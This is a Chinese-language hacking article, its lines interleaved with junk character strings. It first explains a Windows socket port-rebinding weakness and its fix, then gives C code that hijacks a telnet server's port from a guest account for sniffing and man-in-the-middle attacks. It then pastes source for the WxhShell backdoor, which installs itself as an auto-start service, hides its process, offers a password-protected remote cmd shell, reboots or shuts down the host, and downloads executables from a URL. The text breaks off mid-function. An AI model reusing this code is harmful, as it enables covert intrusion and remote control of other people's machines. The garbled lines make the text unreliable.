在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
2?C)& s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
}f ?y*
H ).O)p9 saddr.sin_family = AF_INET;
Qs!5<)6
~%oR[B7=| saddr.sin_addr.s_addr = htonl(INADDR_ANY);
iZmcI;?u X$
D6Ey bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
K/$KI7P '/p4O2b, 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
X}]-*T|a
7GGUV 这意味着什么?意味着可以进行如下的攻击:
+@UV?"d @ Qe0! (_= 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
xdPx{"C
3 y =@N|f! 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
7<4qQ.deE [g,}gyeS( 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
vO=fP_ )7@0[> 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
P>T"cv *p d@.|^)m 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
4i bc jPeYmv] 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
y`Fw-!'o XW9!p.*.U 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
`oJ [u:b reVgqYp{{- #include
~[: 2I #include
k)u[0} #include
@HW*09TG #include
X&zis1A< DWORD WINAPI ClientThread(LPVOID lpParam);
}u|q0>^8 int main()
9uY'E'm* {
$>gFf}#C WORD wVersionRequested;
$'TM0Yu, DWORD ret;
oU|c.mYe WSADATA wsaData;
\v{=gK BOOL val;
dx]>(e@(t{ SOCKADDR_IN saddr;
;<5q]/IHK SOCKADDR_IN scaddr;
)"LJ
hLg int err;
@x1-!
~z# SOCKET s;
n%-0V> SOCKET sc;
g`^x@rj`E int caddsize;
l%ZhA=TKQ HANDLE mt;
zT/\Cj68 DWORD tid;
l2d{ 73h wVersionRequested = MAKEWORD( 2, 2 );
d _
e WcI err = WSAStartup( wVersionRequested, &wsaData );
wzaV;ac4K if ( err != 0 ) {
B *vM0 printf("error!WSAStartup failed!\n");
hph4 `{T return -1;
51u0]Qx;fm }
'S~5"6r saddr.sin_family = AF_INET;
\9d$@V x"(KBEK~ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
%SI'BJ E9}C # saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
DJir { \F saddr.sin_port = htons(23);
;=@0'xPEa- if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
mq[ug> {
vy/-wP|1 printf("error!socket failed!\n");
F/Pep?' return -1;
Wm|lSisY }
M;NX:mX9 val = TRUE;
jal-9NV)! //SO_REUSEADDR选项就是可以实现端口重绑定的
X.V~SeS if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
KG@8RtHsQ {
9cgUT@a printf("error!setsockopt failed!\n");
C>~TI,5a3 return -1;
{t!!Uz 7 }
P$sxr //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
&R siVBA //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
eq" ]%s //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
2Hdu:"j :!/8Hv if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
>MK98(F {
a>)f=uS ret=GetLastError();
W`&hp6Jq printf("error!bind failed!\n");
6,uX,X5 return -1;
x :7IIvP }
.G^YqJ 4 listen(s,2);
J=L5=G7( while(1)
+O5hH8<&b {
d1kJRJ caddsize = sizeof(scaddr);
^J d
r>@ //接受连接请求
|%v^W 3 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
smLQS+UE if(sc!=INVALID_SOCKET)
>f'g0g {
_~pbqa,
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
rs.M]8a2{& if(mt==NULL)
c)tfAD(N8x {
<t,x RBk printf("Thread Creat Failed!\n");
N<-Gk6`C/ break;
oRzi>rr }
!by\9
?n }
{iLT/i% CloseHandle(mt);
H|D.6^ }
JCaOK2XT; closesocket(s);
ty`DJO=Omj WSACleanup();
Z/K{A` return 0;
BB'OCN }
\4#W xZ DWORD WINAPI ClientThread(LPVOID lpParam)
:aQt;C6Z> {
Z)\@i=m SOCKET ss = (SOCKET)lpParam;
R$Q.sE SOCKET sc;
-(#iIgmP unsigned char buf[4096];
T#)P`q SOCKADDR_IN saddr;
_[y/Y\{I long num;
Faf&U%]*` DWORD val;
@R
6@]Dm DWORD ret;
_l]fkk[T //如果是隐藏端口应用的话,可以在此处加一些判断
PuO&wI]: //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
7=DdrG< saddr.sin_family = AF_INET;
V_:&S2j saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
`KQvJjA6 saddr.sin_port = htons(23);
P2*<GjV`S/ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
QwJyY{O` {
``Un&-Ms printf("error!socket failed!\n");
pD74+/DD return -1;
,1##p77. }
5^KWCS7@ val = 100;
ym6K!i]q4 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7`YEH2 {
,{q;;b9 ret = GetLastError();
EyLu O-5 return -1;
So
5N5,u@= }
Jq^T1_iqn if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
IkXx# ) {
wuqJr:q*# ret = GetLastError();
nJLFfXWx return -1;
TBrPf-Xr }
S@ f9c if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Ip]KPrwp {
{
buy"X4 printf("error!socket connect failed!\n");
TNr :pE< closesocket(sc);
'XBFv9& closesocket(ss);
*
+wW(#[ return -1;
C{XmVc. }
1&o|TT/ while(1)
*r% c {
0nD/;\OU //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
E=w1=,/y //如果是嗅探内容的话,可以再此处进行内容分析和记录
/Qk4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
c\V7i#u[d; num = recv(ss,buf,4096,0);
bD8Gwi=iiu if(num>0)
,<p}o\6 send(sc,buf,num,0);
~BkCp pI else if(num==0)
AZ}Xj>= break;
ohGfp9H num = recv(sc,buf,4096,0);
M+9 gL3W if(num>0)
R+,u^;\ send(ss,buf,num,0);
6qd\)q6T&x else if(num==0)
f:.I0 ST break;
Nm>A'bLM }
Q'mM3pq4r closesocket(ss);
!o[7wKrXb closesocket(sc);
=6|&Jt return 0 ;
{3{"8-18 }
Y]u+\y~ t\j*}# S r!a3\ep ==========================================================
k/gZ, "{Eta 下边附上一个代码,,WXhSHELL
0|\$Vp Eue~Y+K*b ==========================================================
SrK<fAkx fCobzDy
#include "stdafx.h"
x`IEU*z# %zw1}|s#z #include <stdio.h>
%(G* , #include <string.h>
;Nj7qt #include <windows.h>
u21EP[[, #include <winsock2.h>
c+nq] xOs' #include <winsvc.h>
6,9>g0y'NG #include <urlmon.h>
9lH?-~9 JOLaP@IPT #pragma comment (lib, "Ws2_32.lib")
'V=P*#|SR #pragma comment (lib, "urlmon.lib")
"s_lP&nq #!KE\OI;@5 #define MAX_USER 100 // 最大客户端连接数
BV upDGh3 #define BUF_SOCK 200 // sock buffer
_ T):G6C8 #define KEY_BUFF 255 // 输入 buffer
'9j="R; VsE9H]v
#define REBOOT 0 // 重启
s '\Uap #define SHUTDOWN 1 // 关机
M|`U"vO 1sdLDw_)p #define DEF_PORT 5000 // 监听端口
,.1Psz^U G&V/Gj8 #define REG_LEN 16 // 注册表键长度
zZ323pq #define SVC_LEN 80 // NT服务名长度
%pd ,%pg 2!J&+r // 从dll定义API
R1GEh&U{ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
:Ab%g- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
lun\`f 5Q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
%H&@^Tt a typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
B%76rEpvW; Rt!FPoN,y // wxhshell配置信息
usCt#eZK struct WSCFG {
H>B&|BO_[ int ws_port; // 监听端口
?9\EN|O^ char ws_passstr[REG_LEN]; // 口令
Y+*0~xm4 int ws_autoins; // 安装标记, 1=yes 0=no
5}]"OXQ char ws_regname[REG_LEN]; // 注册表键名
[^e%@TV>d char ws_svcname[REG_LEN]; // 服务名
?ztkE62t char ws_svcdisp[SVC_LEN]; // 服务显示名
/+;h)3PN6 char ws_svcdesc[SVC_LEN]; // 服务描述信息
v`zJb00DT char ws_passmsg[SVC_LEN]; // 密码输入提示信息
78# v int ws_downexe; // 下载执行标记, 1=yes 0=no
z hRB,1iG char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
0rDh}<upjk char ws_filenam[SVC_LEN]; // 下载后保存的文件名
$5<#n@
a$" Hvrj };
a\E:sPM'> Dq5j1m. // default Wxhshell configuration
$?<Z!*x struct WSCFG wscfg={DEF_PORT,
_5# y06Q "xuhuanlingzhe",
^,_w$H 1,
jWl)cC "Wxhshell",
cy3B({PLy "Wxhshell",
;1.,Sn+zO "WxhShell Service",
W7\f1}]H "Wrsky Windows CmdShell Service",
f[a}aZ9) "Please Input Your Password: ",
ruzspS 1,
3#&7-o "
http://www.wrsky.com/wxhshell.exe",
O6/f5 "Wxhshell.exe"
n3Z5t };
L0@SCt VG5+CU // 消息定义模块
4K\(xd&Q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
>JCM.I0_| char *msg_ws_prompt="\n\r? for help\n\r#>";
r{ef .^&: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
TXk?#G\o char *msg_ws_ext="\n\rExit.";
)Es"LP] char *msg_ws_end="\n\rQuit.";
WKIoS"?-F char *msg_ws_boot="\n\rReboot...";
7MHKeLq char *msg_ws_poff="\n\rShutdown...";
X+}1 char *msg_ws_down="\n\rSave to ";
j|%HIF25 I'iGt~4$ char *msg_ws_err="\n\rErr!";
\\7ZWp\fN char *msg_ws_ok="\n\rOK!";
}36QsH8 wl$h4 {L7 char ExeFile[MAX_PATH];
>U*T0FL7 int nUser = 0;
U1RpLkibQ HANDLE handles[MAX_USER];
I*kK 82 int OsIsNt;
K7W6ZH9; Q|L9gz[? SERVICE_STATUS serviceStatus;
Dzs[GAQ] SERVICE_STATUS_HANDLE hServiceStatusHandle;
h{p=WWK q51Uf_\/ // 函数声明
@u%_1 int Install(void);
BWuqo int Uninstall(void);
dW~*e2nq int DownloadFile(char *sURL, SOCKET wsh);
!\L/[:n int Boot(int flag);
"D=P8X&vs void HideProc(void);
F[[TWf/ int GetOsVer(void);
7{qy7,Gp int Wxhshell(SOCKET wsl);
1u(.T0j7f void TalkWithClient(void *cs);
HnCzbt@ int CmdShell(SOCKET sock);
xz{IH,?IG int StartFromService(void);
qfz 8jY] int StartWxhshell(LPSTR lpCmdLine);
c#]q^L\x )R
2. VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
o b|BXF VOID WINAPI NTServiceHandler( DWORD fdwControl );
7=OQ8IM! ?6jkI2w // 数据结构和表定义
>Ll$p0W SERVICE_TABLE_ENTRY DispatchTable[] =
| j a- {
jSuL5|Gui {wscfg.ws_svcname, NTServiceMain},
Ch%m {NULL, NULL}
0,rTdjH7 };
!G}+E2fDA 9>rPe1iv // 自我安装
FH%GIi int Install(void)
Xy &uZ {
#\ n8M char svExeFile[MAX_PATH];
?zJOh^ HKEY key;
lF?tQB/a strcpy(svExeFile,ExeFile);
4bJZmUb VA%Un,5h // 如果是win9x系统,修改注册表设为自启动
lmSo8/%T if(!OsIsNt) {
4[-*~C|W5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-"[<ek RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
?8mlZ
X9C RegCloseKey(key);
^~HQC* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
F0UVo RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
y&= ALx@ RegCloseKey(key);
wL^%w9q- return 0;
t/PlcV_M" }
9bq<GC'eX8 }
5pRV3K{H }
tpTAeQ*:d else {
'vaLUy9] N#_GJSG_| // 如果是NT以上系统,安装为系统服务
NAzX". g SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
{?}*1,I if (schSCManager!=0)
K[7EOXLy {
EmT`YNuc SC_HANDLE schService = CreateService
h<\_XJJ (
"A)(" schSCManager,
'iY*6<xS< wscfg.ws_svcname,
v^7LctcVm wscfg.ws_svcdisp,
08m;{+|vY SERVICE_ALL_ACCESS,
OLj\-w^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
,*@AX> SERVICE_AUTO_START,
LR,7,DH$9' SERVICE_ERROR_NORMAL,
&X]\)`j0 svExeFile,
U70]!EaT NULL,
0G2g4DSKD NULL,
5Fm=/o1 NULL,
Wi}FY }f NULL,
pBC<u NULL
35*\_9/# );
9ElCg" if (schService!=0)
U`x bPQ {
*X38{rj CloseServiceHandle(schService);
j` /&r*zNq CloseServiceHandle(schSCManager);
8Z2.`(3c[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
^-M^gYBR strcat(svExeFile,wscfg.ws_svcname);
5b6s4ZyV if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
N|2y"5 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
U^Tp6vN d RegCloseKey(key);
'iLH `WE return 0;
Ab1/.~^ }
5ZAb]F90 }
(,xZGa CloseServiceHandle(schSCManager);
G 8Y+w }
0%;146.p }
qYp$fmj u.|~$yP.! return 1;
`4CWE_k }
W:QwHZ2O RX2{g^V7 // 自我卸载
y/@iT8$rp int Uninstall(void)
[[)_BmS5r {
7=*VpX1 HKEY key;
H%z@h~s> em]xtya if(!OsIsNt) {
i`OrMzL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
K.SeK3( RegDeleteValue(key,wscfg.ws_regname);
ZZ)G5ji RegCloseKey(key);
yD)"c. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*N/hc RegDeleteValue(key,wscfg.ws_regname);
]5v:5:H RegCloseKey(key);
]R_G{% return 0;
c!uW}U_z }
/axTh }
M>_ = "atI }
/4joC9\AB else {
8t.dPy< O=jN&<rb SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
9|!j4DS< if (schSCManager!=0)
@5}gsC {
g<[rH%\6fg SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
|tG+iF@4 if (schService!=0)
->yeJTsE9 {
G+Dpma ] if(DeleteService(schService)!=0) {
FUaNiAr[ CloseServiceHandle(schService);
\].J-^= CloseServiceHandle(schSCManager);
e!o(g&wBj return 0;
Gidkt;lj }
[{PqV):p CloseServiceHandle(schService);
}#aKFcvg }
]R Mb,hJ CloseServiceHandle(schSCManager);
If}lJ6jZ }
p~bkf> }
vO$ra5Z [b5(XIGUN} return 1;
{of]/3= }
NdQ%:OKC y-cw~kNPP3 // 从指定url下载文件
&LU'.jY int DownloadFile(char *sURL, SOCKET wsh)
ULvVD6RQ47 {
Mj~${vj HRESULT hr;
I>((o` char seps[]= "/";
j+1KNH char *token;
>RR<eYu7m char *file;
[~?M/QI9 char myURL[MAX_PATH];
# ,P(isEZ" char myFILE[MAX_PATH];
Ve14rn 3zb)"\(R strcpy(myURL,sURL);
kukaim>K token=strtok(myURL,seps);
~_}4jnC while(token!=NULL)
5<r)+?!n {
_5h0@^m7y file=token;
X RRJ)}P token=strtok(NULL,seps);
|E|T%i^}./ }
:bw6 k
`GkRmv* GetCurrentDirectory(MAX_PATH,myFILE);
&enlAV'#)O strcat(myFILE, "\\");
oUS,+e strcat(myFILE, file);
jf7pl8gv send(wsh,myFILE,strlen(myFILE),0);
F`D9Zfd send(wsh,"...",3,0);
u-M] Az- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
)]]|d if(hr==S_OK)
K-<n`zg3 return 0;
h*waRD else
b.(XS?4o return 1;
WFpl1O73 G,/Gq+WX }
n%U9iwJ. V*kznm // 系统电源模块
R]VTV7D int Boot(int flag)
|Rk37P{ {
ujNt(7Cz HANDLE hToken;
}9FD/ TOKEN_PRIVILEGES tkp;
z.A4x#>- 4Q/r[x/&C if(OsIsNt) {
Bx%=EN5. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
e
Ri!\Fx LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
;HT0w_, tkp.PrivilegeCount = 1;
_dY:)%[] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
&?v#| qIh AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Rgs3A)[`d/ if(flag==REBOOT) {
dgm+U%E if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
taBO4LV return 0;
SUSc }
TLX^~W[gOm else {
KdS
eCeddW if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
NywB3 return 0;
Age-AJ }
`2sdZ/fO }
?#U0eb5u else {
Y]?Kqc if(flag==REBOOT) {
[3GKPX:OA/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
$To4dJb return 0;
1k0^6gE| }
|F3vRt@ else {
EP/&m|o|G if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Xk
5oybDI return 0;
T27:"LVw }
S|s3}]g9 }
gjO
*h3` VvzPQ k return 1;
x0y%\ }
=H
L9Z @F>[DW]O // win9x进程隐藏模块
aS3P(s L void HideProc(void)
:17ee {
"[FCQ 9Kq<\"7Bmz HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
@2QJm if ( hKernel != NULL )
m>g}IX&K' {
W^-hMT]uD pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Oz_b3r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
9)8*FahW FreeLibrary(hKernel);
n5/ZJur }
-Pv P pb,{$A return;
>1_Dk7E0D }
$Vd?K@W[h g{rt ^B // 获取操作系统版本
FjK Ke7 int GetOsVer(void)
(or =f` {
$Ui]hA-:?y OSVERSIONINFO winfo;
sE(X:[Am winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
!pE>O-| K GetVersionEx(&winfo);
Zw3hp,P] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
G7Edi;y/{ return 1;
NB~*sP-l& else
&lO Xi?&" return 0;
%D%e:se }
TXY >KH(nc$ // 客户端句柄模块
J
tn&o"C int Wxhshell(SOCKET wsl)
@U7U?.p {
*,Aa9wa{ SOCKET wsh;
L%=BCmMx struct sockaddr_in client;
'Q^G6'(SaK DWORD myID;
\`p |,j 2/a04qA# while(nUser<MAX_USER)
72BzvY. {
2=/-d$ int nSize=sizeof(client);
z^SN#v$ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
RMs1{64: if(wsh==INVALID_SOCKET) return 1;
06j)P6Iju }K qw\]` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
cqU$gKT if(handles[nUser]==0)
-h.3M0 closesocket(wsh);
{/,+_E/ else
~h~r]tV*+ nUser++;
xq#]n^ }
a*e|>p DO WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
(\AszLW 'p{Y{
$Q return 0;
dnhpWVhn }
h;mQ%9 Yd =-#iXP@ // 关闭 socket
'ra_Zg[j void CloseIt(SOCKET wsh)
s^x ,S {
Av[|.~g closesocket(wsh);
q0xE&[C[M nUser--;
.x9nWa ExitThread(0);
vzgudxG'z }
\ &|w; &~f*q?xR // 客户端请求句柄
O,z%7>< void TalkWithClient(void *cs)
<=LsloI {
iJ~iJ'vf gJ}'O4*b SOCKET wsh=(SOCKET)cs;
'e8d["N char pwd[SVC_LEN];
pRyS8' char cmd[KEY_BUFF];
Ij,?G* char chr[1];
!&:.Uh int i,j;
S4AB tKG :8/M6-EK while (nUser < MAX_USER) {
1\9BO:<K 1pBsr( if(wscfg.ws_passstr) {
E EnTq if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~O3uje_ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
E`LIENm //ZeroMemory(pwd,KEY_BUFF);
M}RFFg i=0;
-
G2M;]Cn while(i<SVC_LEN) {
T;vPR,]rz nV6g]#~@ // 设置超时
3t}o0Ai9 fd_set FdRead;
ry<}DK<u struct timeval TimeOut;
'jO-e^qT FD_ZERO(&FdRead);
%EhU!K#[ FD_SET(wsh,&FdRead);
;`Ch2b1+ TimeOut.tv_sec=8;
x>/@Z6Wxz TimeOut.tv_usec=0;
g 0_r int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
_O71r}4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
yeh adm\ 5~TA(cb5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
F1]PYx$X pwd
=chr[0]; At_Y$N:
if(chr[0]==0xd || chr[0]==0xa) { ~\(>m=|C:H
pwd=0; NNrZb?
break; YedipYG9;
} ]m,p3
i++; ~.=!5Ry
} ktJLpZ<0O
gKH"f%lK
// 如果是非法用户,关闭 socket RIpq/^Th
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9>Z#o<*_/
} 7)X&fV6<8
"S} hcAL/
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [ESQD5&
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [t\Mu}b
&(1NOyX&
while(1) { ^bw~$*"j#
v=^)`C6Ma
ZeroMemory(cmd,KEY_BUFF); %R5MAs&-5
xqZ%c/I3q
// 自动支持客户端 telnet标准 PH=8'GN
j=0; 2xxwQwg8
while(j<KEY_BUFF) { yKy)fn!
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OnJSu
z>-
cmd[j]=chr[0]; R')GQ.yYq
if(chr[0]==0xa || chr[0]==0xd) { zL{@LHP
cmd[j]=0; h$h`XBVZe;
break; Q%h
o[KU
} im\Ws./
j++; p;01a
} akoKx)(<
$f\-.7OD
// 下载文件 AH,F[vS
if(strstr(cmd,"http://")) { wBGxJ\+M
send(wsh,msg_ws_down,strlen(msg_ws_down),0); `215Llzk;
if(DownloadFile(cmd,wsh)) Sgy~Z^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bHG>SW\]`?
else HAdm,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lO@Ba;x
} >U.uRq
else { $5[RR
$ {"St&(
switch(cmd[0]) { hY'%SV
p
{1ceF
// 帮助 &"0[7zgYQz
case '?': { 7 {<lH%Tn
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (\
%y)
break; $*ZHk0
7x
} 2F]MzeW
// 安装 `Nr7N#g+u
case 'i': { mY9K)]8
if(Install()) IA!Kpg
W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )2hoO_l:
else s| oU$?eA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zt6ep=
break; HDxw2nz*R
} ?a(3~dh|
// 卸载 aKZD4;
case 'r': { ,|/$|$'
if(Uninstall()) 0:p#%Nvg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9NAlgET
else GC2<K
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ozG:f*{T
break; ;C%EF
} '@P[fSQ
// 显示 wxhshell 所在路径 ~E~J*R Ze
case 'p': { /0(KKZ)
char svExeFile[MAX_PATH]; bHM
.&4G
strcpy(svExeFile,"\n\r"); cCs:z
strcat(svExeFile,ExeFile); 1g+<`1=KT
send(wsh,svExeFile,strlen(svExeFile),0); xOlkG*3c
break; ,5,4 Qf7
} /jAs`"U
// 重启 |Sq>uC)
case 'b': { D?R z|
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AH+J:8k
if(Boot(REBOOT)) I(SE)%!%S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4j5 "{
else { YzqhFFaj.
closesocket(wsh); i^(<E0vS
ExitThread(0); ikC;N5Sw
} ;a"Ukh
break; K"61i:F
} Rx.0P6s
// 关机 YuZnuI@m9
case 'd': { s#ykD{Z
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \=JKeL|6[S
if(Boot(SHUTDOWN)) DWG}}vN:&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3h&s=e!
else { X9J^Olq
closesocket(wsh); tP9}:gu
ExitThread(0); '4iu0ie>D
} Qa=;Elp:[
break; P<1zXs.H
} o,L !F`W
// 获取shell '@FKgy;B)-
case 's': { q!n|Ju<
CmdShell(wsh); %/7`G-a.B
closesocket(wsh); 6m9Z5:xG
ExitThread(0); P&K~wP]
break; btOC\bUMfD
} I/adzLQ
// 退出 :3k(=^%G!
case 'x': { /T?['#:r-)
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f`Nu]#i
CloseIt(wsh); /CP1mn6H
break; UX6-{
RP
} lH[N*9G(
// 离开 ?Gb
18m
case 'q': { # 8A|-u=3
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?w.Yx$Z"
closesocket(wsh); g#e"BBm=A
WSACleanup(); I$YF55uB
exit(1); D_@^XS
break; _.j KcDf
} _\[Zr.y
} &{>~|^
} (g 8K?Q
h
/on
// 提示信息 pJqayzV
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
H='`#l1
} h'
16"j>
} ]5^u^
5)}xqE"x
return; :U~[%]
} {W0@lMrD
|
#,b1|af
// shell模块句柄 JI.ad_IR
int CmdShell(SOCKET sock) ,+2ytN*
{ 2D
"mq~V
STARTUPINFO si; %;gD_H4mm
ZeroMemory(&si,sizeof(si));
djk
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KNV$9&Z
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fPst<)
PROCESS_INFORMATION ProcessInfo; es.`:^A
char cmdline[]="cmd"; Qq5)|m
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zdr?1=
return 0; z*:^*,
} ^NP" m
yHCBf)N7\
// 自身启动模式 vQA: \!
int StartFromService(void) TN&1C8xr
{ Q|:\
typedef struct .t\5H<z
{ oSxHTbp?
DWORD ExitStatus; GMFp,Df
DWORD PebBaseAddress; d"$ \fL
DWORD AffinityMask; dq[CT
DWORD BasePriority; Ucv-}oa-?
